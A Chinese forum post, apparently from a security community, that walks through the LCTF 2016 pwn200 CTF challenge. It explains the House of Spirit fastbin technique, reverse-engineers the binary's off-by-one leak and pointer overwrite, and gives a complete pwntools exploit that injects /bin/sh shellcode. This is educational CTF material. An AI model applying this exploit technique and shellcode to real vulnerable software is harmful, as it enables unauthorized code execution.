首页
社区
课程
招聘
[原创]Pwn堆利用学习—— Fastbin-House of Spirit——LCTF_2016_pwn200
2021-3-8 16:27 10112

[原创]Pwn堆利用学习—— Fastbin-House of Spirit——LCTF_2016_pwn200

2021-3-8 16:27
10112

    House of Spirit(hos)是一个组合型的漏洞利用,是变量覆盖和堆管理机制的组合利用。是构造一个 fake chunk,然后释放掉它,这样再次申请的时候就会申请它。具体来说,关键在于能够覆盖一个堆指针变量,使其指向可控的区域,只要构造好数据,释放后系统会错误的将该区域作为堆块放到相应的fast bin里面,最后再分配出来的时候,就有可能改写我们目标区域。


利用场景

1. 想要控制的目标区域的前段空间与后段空间都是可控的内存区域。

一般来说想要控制的目标区域多为返回地址或是一个函数指针,正常情况下,该内存区域我们是无法通过输入数据来进行控制的,想要利用hos攻击技术来改写该区域,首先需要我们可以控制那片目标区域的前面空间和后面空间。

----------------------------------------------------------------
             可控1
 ----------------------------------------------------------------
         目标区域(不可控,多为函数指针或返回地址等)
 ----------------------------------------------------------------
             可控2
 ----------------------------------------------------------------

2. 存在可将堆变量指针覆盖指向为可控区域,即上一步中的区域。


Free要绕过的检测

1. fake chunk的ISMMAP 位不能为 1,否则会调用munmap_chunk函数去释放堆块。

2. fake chunk的地址需要对齐, MALLOC_ALIGN_MASK。

3. fake chunk的size 大小需要满足对应的 fastbin 的需求。

4. 2 * SIZE_SZ < next chunk size < av->system_mem 。

5. fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。


LCTF_2016-pwn200

步骤一:运行查看

image-20210126163312620

LCTF就是XDCTF,由西电的L-Team主办。

步骤二:查看文件类型和保护机制

  • 64位程序

  • 除了RELRO,其他保护都关闭

 $ file lctf_2016_pwn200 
 lctf_2016_pwn200: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5a7b9f542c0bf79112b5be3f0198d706cce1bcad, stripped
 $ checksec --file=lctf_2016_pwn200
 RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH Symbols  FORTIFY Fortified Fortifiable FILE
 Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No Symbols   No 0  3  lctf_2016_pwn200

步骤三:IDA反编译分析

a. main函数

有两个函数,第一个函数就是设置程序的缓冲区,重命名为setvbufs,不再赘述。第二个函数就是程序的主体了。这里重命名为welcome。

image-20210307101225143

b. welcome函数

1)首先打印“who are you”,然后for循环以输入进行回答,接着打印输入。

2)这里的for循环存在 off by one 漏洞,利用后面的pirntf能泄漏出welcome栈帧中存储的old rbp,也就是能泄漏出栈里的某个地址。

3)再接着就是输入id和输入money以及菜单操作。

image-20210307101452898

image-20210307102026866

因为,这里能泄漏栈空间地址,所以解题和栈有关(学习的时候是上帝视角,知道这里用HOS,肯定是和栈有关的 - -)。那么根据分析,可得到此时栈空间布局如下:

image-20210307171003636

c. input_number函数

将输入转为int型,然后返回。该函数有返回值,但是上面的welcome函数伪代码中却没有变量接收返回值。查看汇编,其实是有的,保存在[rbp-0x38],只不过这里是IDA反编译不准确。

image-20210307101834173

image-20210307102449586

到这的时候,栈空间布局如下:

image-20210307171427371

d. input_money_and_menu函数

1)malloc了一个0x40大小的堆空间,并将返回地址赋值给指针dest。

2)然后往0x38大小的栈缓存区buf输入“money”,最大大小为0x40,这里存在相邻变量覆盖,覆盖掉的是dest,即这里可以覆盖堆指针。这可以从buf == [rbp-40h] 和 *dest = [rbp-8h] 看出,也可以双击变量查看它们的栈结构,这里不再贴图。

3)接着将buf内容(输入的“money”)拷贝到dest指向的堆块中。

4)将dest赋值给全局指针ptr,即ptr也指向堆块,当然如果dest被覆盖了,ptr也就会随之改变。

5)执行菜单操作。

image-20210307102727628

此时,栈空间布局如下:

image-20210307171504187

图中money_menu函数input_money_and_menu函数,缩写是为了图片的整齐。

e. menu_options函数

1)输入1 :checkin

2)输入2:checkout

image-20210307105032770

f. checkin函数

根据ptr指针来判断用户是否登记:

1)如果登记,返回已登记字符串,退出函数;

2)如果没有登记,则输入一个数字nbytes,然后新分配一个nbytes大小的堆空间,然后往里输入“money”(nbytes长度)。

image-20210307113842075

g. checkout函数

根据ptr指针判断,如果用户已经登记,则free(ptr),并将ptr置为0。

image-20210307115111660

h. 小结

  1. welcome函数中首先回答“who are you”的for循环中存在off by one 漏洞,能泄漏出栈的地址;

  2. input_money_and_menu函数中首先出现malloc操作,而且能通过输入money覆盖堆指针;

  3. checkin函数:malloc一个指定大小的堆块,并往里输入

  4. checkout函数:free并置全局指针ptr为NULL

能泄漏栈的地址,能覆盖堆指针,能再次free和malloc,满足HOS的利用条件。对应前面的利用场景,如下所示,那么可以在可控2区域输入shellcode,可控1区域开始伪造chunk,然后往chunk输入,覆盖input_money_and_menu函数的返回地址为shellcode的地址,那么menu菜单第3选项退出的时候,input_money_and_menu也会return。

------------------------------------------------------------------------------
            可控1 : buf —— fake chunk
------------------------------------------------------------------------------
        目标区域(不可控,多为函数指针或返回地址等):input_money_and_menu函数返回地址
------------------------------------------------------------------------------
            可控2 : v2(name) —— shellcode
------------------------------------------------------------------------------


下面进行调试分析,验证一些分析。

步骤四:调试分析

a. 模板

 from pwn import  *
 from LibcSearcher import LibcSearcher
 from sys import argv
 
 def ret2libc(leak, func, path=''):
  if path == '':
   libc = LibcSearcher(func, leak)
   base = leak - libc.dump(func)
   system = base + libc.dump('system')
   binsh = base + libc.dump('str_bin_sh')
  else:
   libc = ELF(path)
   base = leak - libc.sym[func]
   system = base + libc.sym['system']
   binsh = base + libc.search('/bin/sh').next()
 
  return (system, binsh)
 
 s       = lambda data               :p.send(str(data))
 sa      = lambda delim,data         :p.sendafter(delim, str(data))
 sl      = lambda data               :p.sendline(str(data))
 sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
 r       = lambda num=4096           :p.recv(num)
 ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
 uu64    = lambda data               :u64(data.ljust(8,'\0'))
 leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
 context.log_level = 'DEBUG'
 binary = './lctf_2016_pwn200'
 context.binary = binary
 elf = ELF(binary,checksec=False)
 p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
 
 def dbg():
  gdb.attach(p)
  pause()
 
 #start
 # end
 p.interactive()

b. 分析程序的内存布局,并查看welcome函数中的off-by-one漏洞效果。

  • 对于money,如果输入0x38位,那么实际输入的会是0x39位,因为read函数也会将'/n'输入到内存中,结果是会覆盖掉dest最低的一个字节,导致不能查看堆信息。

  • 对于id,也是同样如此,输入4位

 payload = 'a'*48 
 ru('who are u?\n')
 s(payload)
 
 p.recvuntil(payload)
 
 # leak main function rbp address
 rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))
 print(hex(rbp_addr))
 
 # input id
 sla('give me your id ~~?','111')
 
 # input money
 sla('give me money~',0x37*'b')
 
 # recvive menu
 ru('your choice : ')
 
 dbg()

image-20210307195538391

id = 0x6f = 111


因此,纠正并完善前面静态分析得出的内存结构:

image-20210308120537810

c. 思路

  1. 输入name的时候,将shellcode输入,并补齐0x30字节,以通过off-by-one漏洞泄漏rbp地址;

  2. 输入money的时候,在money里伪造chunk,注意要绕过free函数的检查。并通过相邻变量覆盖漏洞覆盖dest指针,将其覆盖为fake chunk的user data地址,那么输入完之后,dest指针赋值给ptr,ptr也指向fake chunk的user data地址。

  3. 调用checkout,将伪造chunk放入fastbin中,并置ptr指针为NULL;

  4. 调用checkin,因为ptr==NULL,将重新malloc指定大小的chunk并输入数据,此时,便可以malloc可控1区域下方的不可控区域,覆盖input_number_and_menu函数的返回地址为shellcode地址;

  5. 退出时 input_number_and_menu函数也会return,将跳转去执行shellcode。

image-20210308152821920


d. 输入name和money

 def checkin(num, money):
         sla('your choice : ', '1')
         sla('how long?\n', str(num))
         sa(str(num)+'\n',money)
 
 def checkout():
         sla('your choice : ','2')
 def quit():
         sla('choice : ','3')
 
 shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')
 
 # input name(shellcode)
 payload = ''
 payload = payload + shellcode.ljust(0x30)
 ru('who are u?\n')
 s(payload)
 ru(payload)
 
 # leak main function rbp address
 rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))
 leak("rbp address",rbp_addr)
 
 
 # get shellcode_addr and fake_chunk_addr
 shellcode_addr = rbp_addr - 0x50
 fake_chunk_addr = rbp_addr- 0x90
 
 ru('give me your id ~~?\n')
 sl('32') # next chunk size
 ru('give me money~\n')
 
 # input money(fake chunk)
 # padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8
 payload = p64(0)*4 + p64(0) + p64(0x41)
 payload = payload.ljust(56,'\x00') + p64(fake_chunk_addr)
 s(payload)

image-20210308153727051

e. free

 checkout()
 dbg()

image-20210308153952276

f. 再次malloc并填充数据

 # malloc
 payload = 'a'*0x18 + p64(shellcode_addr)
 payload = payload.ljust(0x30,'\x00')
 checkin(0x30,payload)

image-20210308154443405

最后,程序退出时,input_money_and_menu函数就会返回,跳转执行shellcode。

image-20210308154811319

步骤五:构造Exp

 from pwn import  *
 from LibcSearcher import LibcSearcher
 from sys import argv
 
 def ret2libc(leak, func, path=''):
  if path == '':
   libc = LibcSearcher(func, leak)
   base = leak - libc.dump(func)
   system = base + libc.dump('system')
   binsh = base + libc.dump('str_bin_sh')
  else:
   libc = ELF(path)
   base = leak - libc.sym[func]
   system = base + libc.sym['system']
   binsh = base + libc.search('/bin/sh').next()
 
  return (system, binsh)
 
 s       = lambda data               :p.send(str(data))
 sa      = lambda delim,data         :p.sendafter(delim, str(data))
 sl      = lambda data               :p.sendline(str(data))
 sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
 r       = lambda num=4096           :p.recv(num)
 ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
 ruf      = lambda delims, drop=False  :p.recvuntil(delims, drop)
 uu64    = lambda data               :u64(data.ljust(8,'\x00'))
 leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
 context.log_level = 'DEBUG'
 binary = './lctf_2016_pwn200'
 context.binary = binary
 elf = ELF(binary,checksec=False)
 p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
 
 def dbg():
  gdb.attach(p)
  pause()
 
 def checkin(num, money):
  sla('your choice : ', '1')
  sla('how long?\n', str(num))
  sa(str(num)+'\n',money)
 
 def checkout():
  sla('your choice : ','2')
 def quit():
         sla('choice : ','3')
 
 shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')
 
 # input name(shellcode)
 payload = ''
 payload = payload + shellcode.ljust(0x30)
 ru('who are u?\n')
 s(payload)
 ru(payload)
 
 # leak main function rbp address
 rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))
 leak("rbp address",rbp_addr)
 
 
 # get shellcode_addr and fake_chunk_addr
 shellcode_addr = rbp_addr - 0x50
 fake_chunk_addr = rbp_addr- 0x90
 
 ru('give me your id ~~?\n')
 sl('32') # next chunk size
 ru('give me money~\n')
 
 # input money(fake chunk)
 # padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8
 payload = p64(0)*4 + p64(0) + p64(0x41)
 payload = payload.ljust(56,'\x00') + p64(fake_chunk_addr)
 s(payload)
 # dbg()
 
 # free
 checkout()
 # dbg()
 
 # malloc
 payload = 'a'*0x18 + p64(shellcode_addr)
 payload = payload.ljust(0x30,'\x00')
 checkin(0x30,payload)
 #dbg()
 
 # quit
 quit()
 
 p.interactive()


这题还有一种解法,可看这位大佬的:https://bbs.pediy.com/thread-225440.htm

参考文献



[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2021-3-8 16:40 被ztree编辑 ,原因:
上传的附件:
收藏
点赞4
打赏
分享
最新回复 (3)
雪    币: 12776
活跃值: (16307)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 10 2021-3-8 16:35
2
0
支持,内容很丰富,期待下一篇
雪    币: 4165
活跃值: (15932)
能力值: (RANK:710 )
在线值:
发帖
回帖
粉丝
Roland_ 12 2021-3-12 14:06
3
0
支持!
雪    币: 29
活跃值: (421)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
'道祖 2021-3-12 23:42
4
0

  333

最后于 2021-3-12 23:45 被'道祖编辑 ,原因:
游客
登录 | 注册 方可回帖
返回